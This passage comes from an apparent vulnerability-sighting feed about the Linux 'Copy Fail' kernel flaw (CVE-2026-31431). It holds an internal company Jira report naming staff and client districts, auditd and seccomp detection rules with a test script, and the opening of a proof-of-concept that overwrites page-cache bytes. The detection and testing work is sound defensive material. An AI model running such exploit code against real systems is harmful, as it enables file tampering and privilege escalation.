"https://gist.github.com/vndmtrx/24befcc16625aca6d6a7e95e1929fb16", "content": "", "creation_timestamp": "2026-05-07T22:18:28.000000Z"}, {"uuid": "20e274e0-9e03-4e4a-848d-00d72770b0fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ef-edulog/d2370436ce245f64679c196e13b420c3", "content": "\n\n\n\n\nJira Report \u2014 DO / IM / S2\n\n  :root {\n    --bg: #fff; --bg2: #f5f4ef; --bg3: #ebebeb;\n    --tx: #1a1a1a; --tx2: #666660; --tx3: #999994;\n    --info: #185FA5; --bdr: rgba(0,0,0,0.12); --bdr2: rgba(0,0,0,0.22);\n    --r: 8px; --rl: 12px;\n    --font: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;\n    --mono: 'SF Mono','Fira Code',monospace;\n  }\n  @media(prefers-color-scheme:dark){\n    :root{--bg:#1e1e1c;--bg2:#2a2a28;--bg3:#333330;--tx:#f0efe8;--tx2:#a8a79f;--tx3:#6e6e68;--info:#85B7EB;--bdr:rgba(255,255,255,0.1);--bdr2:rgba(255,255,255,0.18)}\n  }\n  *{box-sizing:border-box;margin:0;padding:0}\n  body{font-family:var(--font);background:var(--bg);color:var(--tx);padding:24px;max-width:1300px;margin:0 auto}\n  h1{font-size:18px;font-weight:500;margin-bottom:4px}\n  .sub{font-size:12px;color:var(--tx2);margin-bottom:20px}\n  .tabs{display:flex;gap:6px;margin-bottom:1.25rem;flex-wrap:wrap}\n  .tab{padding:5px 13px;border:0.5px solid var(--bdr2);border-radius:var(--r);font-size:13px;cursor:pointer;background:var(--bg);color:var(--tx2)}\n  .tab.active{background:var(--bg2);color:var(--tx);font-weight:500}\n  .tab:hover:not(.active){background:var(--bg2)}\n  .legend{display:flex;gap:14px;flex-wrap:wrap;margin-bottom:1rem;font-size:11px;color:var(--tx2);align-items:center}\n  .li{display:flex;align-items:center;gap:4px}\n  .ld{width:9px;height:9px;border-radius:2px}\n  .summary-grid{display:grid;grid-template-columns:repeat(3,minmax(0,1fr));gap:8px;margin-bottom:1.25rem}\n  .metric{background:var(--bg2);border-radius:var(--r);padding:10px 12px}\n  .ml{font-size:11px;color:var(--tx2);margin-bottom:3px}\n  .mv{font-size:20px;font-weight:500}\n  .project-block{margin-bottom:1.1rem;border:0.5px solid var(--bdr);border-radius:var(--rl);overflow:hidden}\n  .ph{padding:9px 14px;border-bottom:0.5px solid var(--bdr);display:flex;align-items:center;justify-content:space-between}\n  .pn{font-size:13px;font-weight:500}\n  .pm{font-size:11px;color:var(--tx2)}\n  .th{padding:5px 14px;font-size:11px;font-weight:500;color:var(--tx2);background:var(--bg2);display:flex;align-items:center;gap:6px;border-top:0.5px solid var(--bdr)}\n  .tc{background:var(--bg3);color:var(--tx2);padding:1px 6px;border-radius:var(--r);font-size:10px}\n  .cols{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:4px 14px;font-size:10px;color:var(--tx3);background:var(--bg2);border-top:0.5px solid var(--bdr)}\n  .ir{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:6px 14px;align-items:start;border-top:0.5px solid var(--bdr);font-size:11px}\n  .ir.stale{background:rgba(250,238,218,0.3)}\n  .ir.highest{background:rgba(252,235,235,0.35)}\n  .ir.overdue{background:rgba(252,235,235,0.45)}\n  .ir.stale.highest,.ir.stale.overdue{background:rgba(250,220,200,0.45)}\n  @media(prefers-color-scheme:dark){\n    .ir.stale{background:rgba(99,56,6,0.2)}.ir.highest{background:rgba(121,31,31,0.2)}\n    .ir.overdue{background:rgba(121,31,31,0.3)}.ir.stale.highest,.ir.stale.overdue{background:rgba(110,40,6,0.28)}\n  }\n  .ik{color:var(--info);font-size:10px;font-family:var(--mono);white-space:nowrap;text-decoration:none}\n  .ik:hover{text-decoration:underline}\n  .is{color:var(--tx);line-height:1.4;overflow:hidden;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical}\n  .ia{color:var(--tx2);font-size:10px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}\n  .dt{font-size:10px;white-space:nowrap}\n  .upd-ok{color:var(--tx2)}.upd-stale{color:#BA7517;font-weight:500}\n  .due-ok{color:var(--tx2)}.due-over{color:#A32D2D;font-weight:500}\n  .cr{color:var(--tx2)}\n  @media(prefers-color-scheme:dark){.upd-stale{color:#FAC775}.due-over{color:#F7C1C1}}\n  .dot-h{display:inline-block;width:5px;height:5px;border-radius:50%;background:#E24B4A;margin-right:2px;vertical-align:middle}\n  .dot-s{display:inline-block;width:5px;height:5px;border-radius:50%;background:#EF9F27;margin-right:2px;vertical-align:middle}\n  .dot-d{display:inline-block;width:5px;height:5px;border-radius:50%;background:#D85A30;margin-right:2px;vertical-align:middle}\n  .sb{font-size:10px;padding:2px 6px;border-radius:var(--r);text-align:center;white-space:nowrap}\n  .s-ip{background:#FAEEDA;color:#854F0B}.s-td{background:#E1F5EE;color:#0F6E56}\n  .s-oi{background:#FCEBEB;color:#A32D2D}.s-xx{background:var(--bg2);color:var(--tx2)}\n  @media(prefers-color-scheme:dark){\n    .s-ip{background:#633806;color:#FAC775}.s-td{background:#085041;color:#9FE1CB}.s-oi{background:#791F1F;color:#F7C1C1}\n  }\n  .empty{padding:16px;text-align:center;color:var(--tx3);font-size:12px}\n  .footer{font-size:11px;color:var(--tx3);margin-top:24px}\n\n\n\n\nJira Active Issues Report \u2014 DO / IM / S2\n\nGenerated May 07, 2026 at 10:33 PM  \u00b7  Excludes Done, Fixed, Canceled, Deferred  \u00b7  https://karrostech.atlassian.net\n\nLast 24 hrs24\u201348 hrs ago2\u20137 days agoOlder than 7 days\n\n\n  Highest priority\n  Stale \u22655 business days\n  Due date missed\n\n\n\n\n\nDO \u2014 Edulog DevOps\n6\n\nIM \u2014 Incident Management\n2\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                6 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 2\n                    \n\n                      DO-2057\n                      Hernando, FL - Please update Talend columns for Phone and Email \n                      Cory Emlen\n                      May 7, '26\n                      May 7, '26\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-2053\n                      Thrive, AB - Please update ASCI\n                      Cory Emlen\n                      May 7, '26\n                      May 7, '26\n                      \u2014\n                      Verification\n                    \nTask 4\n                    \n\n                      DO-2056\n                      Tangipahoa, LA - Please Add \"DIV\" Program Code Back Into Import\n                      Cory Emlen\n                      May 7, '26\n                      May 7, '26\n                      \u2014\n                      IN PROGRESS\n                    \n                    \n\n                      DO-2055\n                      Montour-PA - Set up additional ASDI for sandbox 2627sy\n                      Cory Emlen\n                      May 7, '26\n                      May 7, '26\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-2054\n                      Setup 2TIERPLAY ASDI for Cambridge, MA\n                      Cory Emlen\n                      May 7, '26\n                      May 7, '26\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-2052\n                      PP is Grafana stuck, or working and just delayed or not updating? \n                      Eric Fischl\n                      May 7, '26\n                      May 7, '26\n                      \u2014\n                      IN PROGRESS\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                2 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 1\n                    \n\n                      IM-7577\n                      I am unable to see any of the buses that had tablets installed yesterday in parent portal lite. Parents are receiving a message that \"no vehicle is currently assigned to this route\"\n                      Brandon Donnelson\n                      May 7, '26\n                      May 7, '26\n                      \u2014\n                      Blocker\n                    \nTask 1\n                    \n\n                      IM-7578\n                      East, China - Students Auto-Assigning to the Wrong Stop\n                      \u2014\n                      May 7, '26\n                      May 7, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n0\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n\n\n\nDO \u2014 Edulog DevOps\n9\n\nIM \u2014 Incident Management\n6\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                9 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nBug 2\n                    \n\n                      DO-2034\n                      DP V2 (build 180/AV1): EDP gateway /v4.0/vehicles/search returns 0 vehicles for development-test-school tenant\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2033\n                      DP V2 (build 180/AV1): POST /apilive/setting/event/add returns 500 after login (tenantId='', deviceId=0)\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \nTask 7\n                    \n\n                      DO-2042\n                      Client Cancelation for Kuna Joint School District, ID - May 29 shutdown\n                      Vader\n                      May 5, '26\n                      May 6, '26\n                      \u2014\n                      On hold\n                    \n                    \n\n                      DO-2041\n                      Remove the test server - fr-routing-legacy-test  it is no longer needed.\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2040\n                      Remove queuedNotification lambda function when associated NotificationService changes are deployed\n                      \u2014\n                      May 4, '26\n                      May 4, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2037\n                      Deploy Hafeez's Data Build Tool\n                      Boluwatife Olaifa\n                      May 4, '26\n                      May 7, '26\n                      May 4, '26\n                      IN PROGRESS\n                    \n                    \n\n                      DO-2032\n                      Need script run on Cobb to remove duplicate locations\n                      Vader\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-2028\n                      All legacy PP ingestions have not run:\n                      Josiah Brown\n                      May 1, '26\n                      May 7, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2027\n                      Patch infra with CopyFail (CVE-2026-31431)\n                      Josiah Brown\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Backlog\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                6 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 6\n                    \n\n                      IM-7574\n                      Gwinnett, GA - Missing Data in Telematics\n                      Josiah Brown\n                      May 5, '26\n                      May 6, '26\n                      \u2014\n                      WORK IN PROGRESS\n                    \n                    \n\n                      IM-7571\n                      Cleveland, OH - Client Reported Delays in Both Telematics and with Parent Portal Messages this Morning\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7569\n                      Zonar - Delay / Omission of pings to SM, PP\n                      Nick Sundberg\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7567\n                      Fayette County, no bus event update since 4/29\n                      \u2014\n                      May 1, '26\n                      May 6, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7564\n                      Knox, TN - Gps units not reporting in since yesterday\n                      \u2014\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7563\n                       West Shore - Parent Portal not working\n                      Brandon Donnelson\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n50\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                50 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nATH New site request 1\n                    \n\n                      DO-1787\n                      Elyria, OH - Athena Conversion from Legacy\n                      Cory Emlen\n                      Mar 17, '26\n                      Apr 30, '26 (5d)\n                      Apr 17, '26\n                      Blocked\n                    \nBug 49\n                    \n\n                      DO-1905\n                      Parent Portal missing route/vehicle data after EKS 1.34 upgrade \u2014 missed cron sync + Hibernate 6 bug\n                      \u2014\n                      Apr 6, '26\n                      Apr 6, '26 (23d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1855\n                      There is no data available in Route assignment, Live substitution modules of Telematcis for Johnston site\n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (30d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1854\n                      There is no data available in multiple pages like Students, Runs, Routes modules of Routing for Johnston site \n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (30d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1842\n                      EDTA service missing MongoDB JVM args \u2014 broken on 57 production tenants\n                      \u2014\n                      Mar 25, '26\n                      Mar 25, '26 (31d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1801\n                      release-2-fr - Elastic search error displays into log - Unable to search for stop locations\n                      \u2014\n                      Mar 19, '26\n                      Mar 19, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1786\n                      [EastAllen, IN 1.78 Smoke]CA Result CSV \u2013 Export fails for valid dates with 400 Bad Request (invalid page number)\n                      Dane Elwood\n                      Mar 17, '26\n                      Mar 26, '26 (30d)\n                      \u2014\n                      Blocked\n                    \n                    \n\n                      DO-1785\n                      [EastAllen, IN 1.78 Smoke]Vehicles \u2013 Seating Configuration popup shows error \u201cnetwork issues\u201d due to backend API failure\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (37d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1784\n                      [Lake Superior 1.78 Smoke]Time & Attendance module not opening from main dashboard\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (37d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1783\n                      Config API is failing for Time & Attendance module in Collinsville site \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1782\n                      Several API calls are failed in ultilities --> Employee Import and Queue Priority modules \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1779\n                      [Cleveland -1.78] [Time & attendance][Absence Record] Data preview is not available\n                      Josiah Brown\n                      Mar 16, '26\n                      Mar 16, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1776\n                      Routes API CORS Blocked & Gateway Timeout on Routes Management Page\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 15, '26 (39d)\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-1775\n                      [Chicago-1.78] [Telematics --> Edulog standard reports] - Unable to select date range for AM on time report\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 13, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1768\n                      [moorhead 1.78.0] [Telematics] [Vehicle Plan Error] Front end error for Vehicle on Route Historical view\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 16, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1767\n                      500 Internal Server Error on Athena Routing Screen \u2013 eligibilities API\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (33d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1766\n                      [Helena] API call fails on clicking \"Add New\" Student \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (33d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1765\n                      Deleting a student without entering any data in Add student form is giving 405 error \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 27, '26 (29d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1761\n                       is displayed against a checkbox on Custom transportation Needs \n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1760\n                      Pick A Location - External address return as the SA\" is failing because the \"Pick A Location\" button cannot be located on the page, preventing test execution.\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1759\n                      [Chief Leschi-1.78][Reports] [User defined Reports] Unable to create a new report template\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 31, '26 (27d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1758\n                      API returns 500 error when sending IN filter with empty values array in search request\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1757\n                      Stops/Checkpoints \u2013 Map not displayed in \u201cPick A Location\u201d popup when using Relocate\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1756\n                      [Chief Leschi-1.78] Created date is not same when downloaded a report\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (32d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1755\n                      Data Management \u2013 Map fails to load across multiple modules\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1754\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with CA Reports\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (32d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1753\n                      Students \u2013 Student picture API returning 404 Not Found when opening student record\n                      Josiah Brown\n                      Mar 12, '26\n                      Apr 6, '26 (23d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1752\n                      Students \u2013 Address parsing APIs (type, prefix, suffix) returning 500 Internal Server Error in background requests\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1751\n                      Students \u2013 Opening student record triggers \"Error parsing address\" popup and address standardization API returns 500\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1749\n                      Historical changes API is returning 500 Internal server error on Vehicle on routes in Telamatics\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 17, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1615\n                      Payroll Data is not available/displaying\n                      \u2014\n                      Mar 11, '26\n                      Mar 11, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1614\n                      Data is not Visible for Default Working Hours in Employees under Data Management\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1613\n                      UDF Tab is not Displayed in Employee Information Page\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1611\n                      RPO \u2013 OPT actions failure\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1610\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with Stops details\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 17, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1608\n                      Location search fails with 504 Gateway Timeout when adding a new Stop\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1606\n                      Student Needs dialogs shows formatting issues and invalid \u201c504\u201d need option\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1594\n                      [Foundations] 404 error on Students detail page\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1591\n                      Web Query not configured for aldine-tx\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1579\n                      [Support][1.78] [Telematics] -- Error on FE Live Subs\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 9, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1578\n                      [Support-Site-1.78] 500 internal server error for \"eligibilities\"call\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 10, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1577\n                      [Training][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 30, '26 (28d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1575\n                      [Manitouspring][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 9, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1572\n                      [Manitouspring][1.78] Audit Logs: Unknown has been shown for many logs in users column\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 17, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1570\n                      500 err on cancel report API\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (44d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1569\n                      API Timesout - Endless Spinning Wheel Issue\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (44d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1562\n                      API times out/ when searching with keywords for location in Pick a Location Popup [smoke/hemet]\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (44d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1558\n                      [Houston-1.780] [Mapping] Console Error\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (45d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1556\n                      Home Page - Telematics module not displayed on Home Page\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (45d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1555\n                      [Houston-1.780] 500 internal server error for \"search\"call inside stop module\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (45d)\n                      \u2014\n                      To Do\n                    \n\nData sourced live from Jira on May 07, 2026 at 10:33 PM.\n\nfunction showTab(key,el){\n  document.querySelectorAll('.tab').forEach(t=>t.classList.remove('active'));\n  el.classList.add('active');\n  document.querySelectorAll('.pane').forEach(p=>p.style.display='none');\n  document.getElementById('pane-'+key).style.display='block';\n}\n\n\n", "creation_timestamp": "2026-05-07T22:34:01.000000Z"}, {"uuid": "76cec8c7-3467-460c-a717-bd5f68aa8c54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mlcoqsnj6m2m", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 371 interactions\nCVE-2026-41940: 96 interactions\nCVE-2026-0300: 24 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31431: 15 interactions\nCVE-2026-25679: 10 interactions\nCVE-2026-27140: 8 interactions\n", "creation_timestamp": "2026-05-08T02:30:19.994512Z"}, {"uuid": "90636451-232f-4fb0-ab9e-87051b5cb2aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/0xlane/99519eac7a5fea1992d7ba6a423a0707", "content": "# CVE-2026-31431 (Copy Fail) Detection Rules for auditd\n#\n# Install:\n#   sudo cp auditd-rules.conf /etc/audit/rules.d/copyfail.rules\n#   sudo augenrules --load\n#\n# Or apply temporarily:\n#   sudo auditctl -a always,exit -F arch=b64 -S socket -F a0=38 -k copyfail_af_alg\n#   sudo auditctl -a always,exit -F arch=b64 -S splice -k copyfail_splice\n#\n# Search logs:\n#   ausearch -k copyfail_af_alg\n#   ausearch -k copyfail_splice\n\n# Rule 1: Detect AF_ALG socket creation (family=38)\n# This is the primary indicator \u2014 AF_ALG has almost no legitimate use in containers\n-a always,exit -F arch=b64 -S socket -F a0=38 -k copyfail_af_alg\n\n# Rule 2: Detect splice syscall (secondary indicator, higher noise)\n# splice is used by nginx, sendfile, etc. \u2014 combine with Rule 1 for correlation\n-a always,exit -F arch=b64 -S splice -k copyfail_splice\n\n# Rule 3: Detect setsockopt on ALG sockets (additional context)\n# SOL_ALG=279, helps correlate with AF_ALG socket usage\n-a always,exit -F arch=b64 -S setsockopt -F a1=279 -k copyfail_algopt\n\n\n{\n  \"defaultAction\": \"SCMP_ACT_ALLOW\",\n  \"architectures\": [\"SCMP_ARCH_X86_64\", \"SCMP_ARCH_X86\", \"SCMP_ARCH_AARCH64\"],\n  \"syscalls\": [\n    {\n      \"names\": [\"socket\"],\n      \"action\": \"SCMP_ACT_ERRNO\",\n      \"errnoRet\": 1,\n      \"args\": [\n        {\n          \"index\": 0,\n          \"value\": 38,\n          \"valueTwo\": 0,\n          \"op\": \"SCMP_CMP_EQ\"\n        }\n      ],\n      \"comment\": \"Block AF_ALG (family=38) socket creation to prevent CVE-2026-31431\"\n    }\n  ]\n}\n\n\n#!/bin/bash\n# Test seccomp profile effectiveness against CVE-2026-31431\n#\n# Prerequisites:\n#   - Place block-af-alg.json in kubelet seccomp directory:\n#     Standard: /var/lib/kubelet/seccomp/block-af-alg.json\n#     k3s:      /var/lib/rancher/k3s/agent/seccomp/block-af-alg.json\n#   - Or for Docker: use --security-opt seccomp=block-af-alg.json\n#\n# Usage: ./test-seccomp.sh\n\nset -e\necho \"=== CVE-2026-31431 Seccomp Defense Verification ===\"\necho \"\"\n\n# Test 1: Default seccomp (should ALLOW AF_ALG)\necho \"[Test 1] Default seccomp profile (RuntimeDefault)...\"\ncat <<'EOF' | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: test-default-seccomp\n  namespace: copyfail-lab\nspec:\n  securityContext:\n    seccompProfile:\n      type: RuntimeDefault\n  containers:\n  - name: test\n    image: python:3.11-slim\n    command: [\"python3\", \"-c\", \"import socket; s=socket.socket(38,5,0); print('[!] AF_ALG socket created \u2014 DEFAULT SECCOMP DOES NOT BLOCK')\"]\n  restartPolicy: Never\nEOF\n\nsleep 5\nkubectl logs -n copyfail-lab test-default-seccomp 2>/dev/null || true\nkubectl delete pod -n copyfail-lab test-default-seccomp --force 2>/dev/null || true\necho \"\"\n\n# Test 2: Custom seccomp blocking AF_ALG (should DENY)\necho \"[Test 2] Custom seccomp profile (block-af-alg)...\"\ncat <<'EOF' | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: test-block-seccomp\n  namespace: copyfail-lab\nspec:\n  securityContext:\n    seccompProfile:\n      type: Localhost\n      localhostProfile: block-af-alg.json\n  containers:\n  - name: test\n    image: python:3.11-slim\n    command: [\"python3\", \"-c\", \"\nimport socket\ntry:\n    s = socket.socket(38, 5, 0)\n    print('[!] FAIL: AF_ALG socket created despite seccomp')\nexcept PermissionError as e:\n    print(f'[+] SUCCESS: AF_ALG blocked \u2014 {e}')\nexcept OSError as e:\n    print(f'[+] SUCCESS: AF_ALG blocked \u2014 {e}')\n# Verify TCP still works\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)\nprint('[+] TCP socket OK \u2014 no side effects')\ns.close()\n\"]\n  restartPolicy: Never\nEOF\n\nsleep 5\nkubectl logs -n copyfail-lab test-block-seccomp 2>/dev/null || true\nkubectl delete pod -n copyfail-lab test-block-seccomp --force 2>/dev/null || true\necho \"\"\n\necho \"=== Docker equivalent ===\"\necho \"# Default (vulnerable):\"\necho \"docker run --rm python:3.11-slim python3 -c \\\"import socket; socket.socket(38,5,0); print('AF_ALG OK')\\\"\"\necho \"\"\necho \"# With custom seccomp (protected):\"\necho \"docker run --rm --security-opt seccomp=block-af-alg.json python:3.11-slim python3 -c \\\"import socket; socket.socket(38,5,0)\\\"\"\necho \"# Expected: PermissionError\"\n", "creation_timestamp": "2026-05-08T04:30:24.000000Z"}, {"uuid": "06cf5cb9-7290-42cc-9b80-6d03ac67933b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/0xlane/d89e230c9e18bfd8cc126452352afae6", "content": "#!/usr/bin/env python3\n\"\"\"\nCVE-2026-31431 \"Copy Fail\" \u2014 Page Cache Marker for Container Experiments\n=========================================================================\nWrites 0xDEADBEEF to the first 4 bytes of a target file's page cache.\nUsed to demonstrate cross-container page cache sharing via shared image layers.\n\nUsage:\n    python3 poc_marker.py \n    python3 poc_marker.py /bin/cat\n    python3 poc_marker.py /etc/os-release\n\nRequirements:\n    - Linux kernel vulnerable to CVE-2026-31431 (2017-07 to 2026-04)\n    - AF_ALG socket support (CONFIG_CRYPTO_USER_API_AEAD)\n    - authencesn algorithm available\n\nFor academic research only.\n\"\"\"\n\nimport os\nimport sys\nimport socket\nimport struct\n\nAF_ALG = 38\nSOL_ALG = 279\nALG_SET_KEY = 1\nALG_SET_IV = 2\nALG_SET_OP = 3\nALG_SET_AEAD_ASSOCLEN = 4\nALG_SET_AEAD_AUTHSIZE = 5\n\nAUTHSIZE = 4\nASSOCLEN = 8\nMSG_MORE = 0x8000\n\n\ndef page_cache_write_4bytes(target_fd, file_offset, value_bytes):\n    